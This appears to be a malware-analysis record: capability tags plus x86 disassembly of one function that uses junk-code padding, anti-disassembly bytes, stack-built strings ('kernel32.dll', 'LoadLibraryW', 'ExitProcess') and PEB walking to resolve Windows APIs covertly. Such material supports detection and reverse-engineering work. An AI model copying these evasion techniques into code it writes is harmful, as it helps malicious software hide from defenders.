Function at 0x40a5a3
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x540]
add edx, 1
mov dword [ebp - 0x540], edx
push eax
push esi
add esp, 4
sub eax, 0x1074b
add eax, 0x143e2
sub eax, 0xfc03
pop eax
push esi
push eax
add esp, 4
sub esi, 0xa6dd
pop esi
push edi
add edi, 0x5e4c
sub edi, 0xdce8
pop edi
mov eax, dword [ebp - 0x540]
sub eax, dword [ebp - 0x420]
cmp eax, 0xffffffff
push dword [edx + 0x37]
push ecx
or ecx, 0x69c9
sub ecx, 0x38f3
pop ecx
push edx
call 0x409d4f
add byte [edx], bh
cmp eax, 0x3c4a3f4b
cmp byte [ebx - 0x157efb3c], al
les eax, [ecx + eax*4]
ljmp 0x525a
push ebx
add esp, 4
xor edx, 0x77d2
pop edx
jmp 0x409f98
mov dword [ebp - 0xd3c], 7
mov ecx, dword [ebp - 0x540]
mov dword [ebp - 0xb50], ecx
push esi
push ecx
add esp, 4
and esi, 0x1155c
add esi, 0xe807
or esi, 0x11fa6
or esi, 0x17dfe
pop esi
push eax
and eax, 0xebc6
and eax, 0xbd60
and eax, 0x9255
pop eax
mov edx, dword [ebp - 0x16cc]
mov dword [ebp - 0xb4c], edx
mov dword [ebp - 0xd40], 0
mov eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x16cc]
jne 0x409e19
push edi
xor edi, 0x7d1c
xor edi, 0x77f3
or edi, 0x7c8a
and edi, 0x17e61
pop edi
push eax
push eax
add esp, 4
sub eax, 0x6ea7
xor eax, 0x125f6
add eax, 0x17225
pop eax
mov ecx, dword [ebp - 0xd40]
mov dword [ebp - 0x16d0], ecx
jmp 0x409f4a
cmp dword [ebp - 0xd3c], 0
jle 0x409f3e
push ebx
push eax
add esp, 4
call 0x409e37
add byte [ebx + 0x43], al
dec ebx
inc ebp
aas
add esp, 4
xor ebx, 0x13e79
pop ebx
push esi
call 0x409e4e
add byte [edi + 0x42], cl
cmp al, byte [ecx + 0x3a]
inc ebp
add esp, 4
or esi, 0xd82e
pop esi
mov edx, dword [ebp - 0xb50]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xb4c]
movzx edx, byte [ecx]
cmp eax, edx
je 0x409eda
push esi
push eax
add esp, 4
jmp 0x409e79
add esi, 0x3deb
add esi, 0x5c85
xor esi, 0xc547
pop esi
push ebx
and ebx, 0x174c5
sub ebx, 0x5f2
sub ebx, 0xf013
pop ebx
mov eax, dword [ebp - 0xb50]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xb4c]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x409ec2
mov dword [ebp - 0x169c], 1
jmp 0x409ecc
mov dword [ebp - 0x169c], 0xffffffff
mov ecx, dword [ebp - 0x169c]
mov dword [ebp - 0xd40], ecx
jmp 0x409f3e
push ecx
xor ecx, 0x5340
sub ecx, 0x6f9f
pop ecx
push edi
add edi, 0x168bc
call 0x409efc
add byte [ecx + 0x4b], cl
aaa
dec ebp
xor al, 0x4c
xor eax, 0x8104c483
mul dword [esi - 0x30]
add byte [eax], al
add edi, 0x102a6
pop edi
mov edx, dword [ebp - 0xd3c]
sub edx, 1
mov dword [ebp - 0xd3c], edx
mov eax, dword [ebp - 0xb50]
add eax, 1
mov dword [ebp - 0xb50], eax
mov ecx, dword [ebp - 0xb4c]
add ecx, 1
mov dword [ebp - 0xb4c], ecx
jmp 0x409e19
mov edx, dword [ebp - 0xd40]
mov dword [ebp - 0x16d0], edx
cmp dword [ebp - 0x16d0], 0
jne 0x409f93
push ecx
add ecx, 0xeca9
jmp 0x409f62
or ecx, 0x2d15
pop ecx
push edx
or edx, 0x7bc4
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0x17cce
pop ecx
push edx
or edx, 0xfe9a
pop edx
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0xb48], eax
jmp 0x409fd4
jmp 0x409ce1
push eax
and eax, 0xda17
pop eax
push edx
push esi
add esp, 4
and edx, 0x2564
or edx, 0x74d2
pop edx
push ecx
push ecx
add esp, 4
or ecx, 0x445f
xor ecx, 0x1576d
sub ecx, 0xd30
pop ecx
mov dword [ebp - 0xb48], 0
push ecx
add ecx, 0x1781
pop ecx
push esi
push edx
add esp, 4
xor esi, 0xf000
add esi, 0x14b72
or esi, 0x14d73
pop esi
push eax
push eax
add esp, 4
sub eax, 0x9ee4
or eax, 0x31f0
pop eax
mov byte [ebp - 0x8e0], 0x45
mov byte [ebp - 0x8df], 0x78
mov byte [ebp - 0x8de], 0x69
mov byte [ebp - 0x8dd], 0x74
mov byte [ebp - 0x8dc], 0x50
mov byte [ebp - 0x8db], 0x72
mov byte [ebp - 0x8da], 0x6f
mov byte [ebp - 0x8d9], 0x63
mov byte [ebp - 0x8d8], 0x65
mov byte [ebp - 0x8d7], 0x73
mov byte [ebp - 0x8d6], 0x73
mov byte [ebp - 0x8d5], 0
push edx
push ebx
add esp, 4
add edx, 0x5397
or edx, 0x9f34
pop edx
push ebx
push edi
add esp, 4
sub ebx, 0x8162
and ebx, 0xdbb3
and ebx, 0xab56
pop ebx
push edx
or edx, 0xa8b4
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1844], cx
mov edx, 0x65
mov word [ebp - 0x1842], dx
mov eax, 0x72
mov word [ebp - 0x1840], ax
mov ecx, 0x6e
mov word [ebp - 0x183e], cx
mov edx, 0x65
mov word [ebp - 0x183c], dx
mov eax, 0x6c
mov word [ebp - 0x183a], ax
mov ecx, 0x33
mov word [ebp - 0x1838], cx
mov edx, 0x32
mov word [ebp - 0x1836], dx
mov eax, 0x2e
mov word [ebp - 0x1834], ax
mov ecx, 0x64
mov word [ebp - 0x1832], cx
mov edx, 0x6c
mov word [ebp - 0x1830], dx
mov eax, 0x6c
mov word [ebp - 0x182e], ax
xor ecx, ecx
mov word [ebp - 0x182c], cx
push eax
and eax, 0x14bfb
or eax, 0x116e4
add eax, 0xcecc
xor eax, 0x2b7
pop eax
push ecx
jmp 0x40a148
xor ecx, 0x1f5e
pop ecx
push ecx
or ecx, 0xaada
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0x1458a
or ecx, 0x17871
pop ecx
push ecx
add ecx, 0xb2b3
sub ecx, 0x2f6b
pop ecx
push esi
push eax
add esp, 4
and esi, 0x2336
sub esi, 0x13a53
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2174], edx
mov eax, dword [ebp - 0x2174]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x2178], ecx
mov edx, dword [ebp - 0x2178]
mov dword [ebp - 0x16d4], edx
push ebx
push esi
add esp, 4
and ebx, 0xa46f
or ebx, 0x11e1
pop ebx
push eax
add eax, 0xd945
jmp 0x40a1d2
call 0x40a1df
add byte [eax*2 + 0x3d344632], dh
add esp, 4
pop eax
cmp dword [ebp - 0x16d4], 0
jne 0x40a1fb
mov dword [ebp - 0x324], 0
jmp 0x40a4b7
mov eax, dword [ebp - 0x16d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xd4c], edx
push edi
sub edi, 0x1121a
and edi, 0x16345
jmp 0x40a222
jmp 0x40a22b
pop edi
push edi
jmp 0x40a232
add edi, 0x1664a
add edi, 0xe7e5
pop edi
cmp dword [ebp - 0xd4c], 0
jne 0x40a257
mov dword [ebp - 0x324], 0
jmp 0x40a4b7
mov eax, dword [ebp - 0xd4c]
mov dword [ebp - 0x544], eax
push esi
or esi, 0x8b98
xor esi, 0x6770
add esi, 0x7502
xor esi, 0x109a
pop esi
push ebx
push eax
add esp, 4
add ebx, 0x2462
sub ebx, 0xcc2c
sub ebx, 0x6a97
pop ebx
lea ecx, [ebp - 0x1844]
mov dword [ebp - 0xd48], ecx
mov edx, dword [ebp - 0x544]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xd44], eax
xor ecx, ecx
mov word [ebp - 0x228], cx
xor edx, edx
mov word [ebp - 0x118], dx
push esi
call 0x40a2d1
add byte [esi + 0x38], cl
inc ecx
cmp ecx, dword [ecx + 0x44]
cmp eax, dword [edx - 0x7d]
les eax, [ebx + ebp*8]
add eax, 0x50403a36
xor ebx, dword [esi + 0x50]
push edi
add esp, 4
or eax, 0x11e9e
or eax, 0x8939
sub eax, 0x13bf
pop eax
mov eax, dword [ebp - 0xd44]
mov cx, word [eax]
mov word [ebp - 0x1112], cx
mov edx, dword [ebp - 0xd44]
add edx, 2
mov dword [ebp - 0xd44], edx
mov ax, word [ebp - 0x1112]
mov word [ebp - 0x228], ax
mov ecx, dword [ebp - 0xd48]
mov dx, word [ecx]
mov word [ebp - 0x1114], dx
mov eax, dword [ebp - 0xd48]
add eax, 2
mov dword [ebp - 0xd48], eax
mov cx, word [ebp - 0x1114]
mov word [ebp - 0x118], cx
push edi
push edi
add esp, 4
sub edi, 0x15c0a
xor edi, 0xd65d
or edi, 0xadfd
pop edi
push eax
push esi
add esp, 4
jmp 0x40a373
sub eax, 0x8bd9
or eax, 0x4e64
pop eax
movzx edx, word [ebp - 0x118]
test edx, edx
jne 0x40a3a3
movzx eax, word [ebp - 0x228]
movzx ecx, word [ebp - 0x118]
sub eax, ecx
mov dword [ebp - 0x16dc], eax
jmp 0x40a406
movzx edx, word [ebp - 0x228]
movzx eax, word [ebp - 0x118]
cmp edx, eax
je 0x40a2c2
movzx ecx, word [ebp - 0x228]
xor ecx, 0x20
movzx edx, word [ebp - 0x118]
cmp ecx, edx
je 0x40a2c2
movzx eax, word [ebp - 0x228]
movzx ecx, word [ebp - 0x118]
cmp eax, ecx
jge 0x40a3f0
mov dword [ebp - 0x16d8], 0xffffffff
jmp 0x40a3fa
mov dword [ebp - 0x16d8], 1
mov edx, dword [ebp - 0x16d8]
mov dword [ebp - 0x16dc], edx
cmp dword [ebp - 0x16dc], 0
jne 0x40a44f
push ecx
push ecx
add esp, 4
and ecx, 0xd212
add ecx, 0x2cac
sub ecx, 0x5b7e
add ecx, 0xa685
pop ecx
push esi
push edi
add esp, 4
jmp 0x40a43a
add esi, 0x477
pop esi
mov eax, dword [ebp - 0x544]
mov dword [ebp - 0x324], eax
jmp 0x40a4b7
push eax
push edx
add esp, 4
add eax, 0x140f2
and eax, 0xc6ac
add eax, 0x2abc
and eax, 0x14903
pop eax
push ebx
push edi
add esp, 4
add ebx, 0xec2
pop ebx
push eax
add eax, 0x1f5b
pop eax
mov ecx, dword [ebp - 0x544]
mov edx, dword [ecx]
mov dword [ebp - 0x544], edx
mov eax, dword [ebp - 0x544]
cmp eax, dword [ebp - 0xd4c]
je 0x40a4ad
mov ecx, dword [ebp - 0x544]
cmp dword [ecx + 0x30], 0
jne 0x40a263
mov dword [ebp - 0x324], 0
push edx
push esi
add esp, 4
add edx, 0xa380
pop edx
push edi
or edi, 0x8e79
or edi, 0x10603
xor edi, 0x16e8a
add edi, 0x59c
pop edi
push ecx
push eax
add esp, 4
add ecx, 0x4736
pop ecx
cmp dword [ebp - 0x324], 0
jne 0x40ae02
mov edx, 0x6b
mov word [ebp - 0x18b0], dx
mov eax, 0x65
mov word [ebp - 0x18ae], ax
mov ecx, 0x72
mov word [ebp - 0x18ac], cx
mov edx, 0x6e
mov word [ebp - 0x18aa], dx
mov eax, 0x65
mov word [ebp - 0x18a8], ax
mov ecx, 0x6c
mov word [ebp - 0x18a6], cx
mov edx, 0x33
mov word [ebp - 0x18a4], dx
mov eax, 0x32
mov word [ebp - 0x18a2], ax
mov ecx, 0x2e
mov word [ebp - 0x18a0], cx
mov edx, 0x64
mov word [ebp - 0x189e], dx
mov eax, 0x6c
mov word [ebp - 0x189c], ax
mov ecx, 0x6c
mov word [ebp - 0x189a], cx
xor edx, edx
mov word [ebp - 0x1898], dx
push edx
sub edx, 0x9b37
call 0x40a5a3
add byte [ebp + 0x3e], cl
dec ecx
cmp al, 0x34
dec ecx
xor al, 0x83
les eax, [edx + ebx*2]
push esi
xor esi, 0x16830
sub esi, 0x6b47
add esi, 0x113fb
and esi, 0x4e85
pop esi
mov byte [ebp - 0x8fc], 0x4c
mov byte [ebp - 0x8fb], 0x6f
mov byte [ebp - 0x8fa], 0x61
mov byte [ebp - 0x8f9], 0x64
mov byte [ebp - 0x8f8], 0x4c
mov byte [ebp - 0x8f7], 0x69
mov byte [ebp - 0x8f6], 0x62
mov byte [ebp - 0x8f5], 0x72
mov byte [ebp - 0x8f4], 0x61
mov byte [ebp - 0x8f3], 0x72
mov byte [ebp - 0x8f2], 0x79
mov byte [ebp - 0x8f1], 0x57
mov byte [ebp - 0x8f0], 0
mov eax, dword fs:[0x18]
add byte [eax], al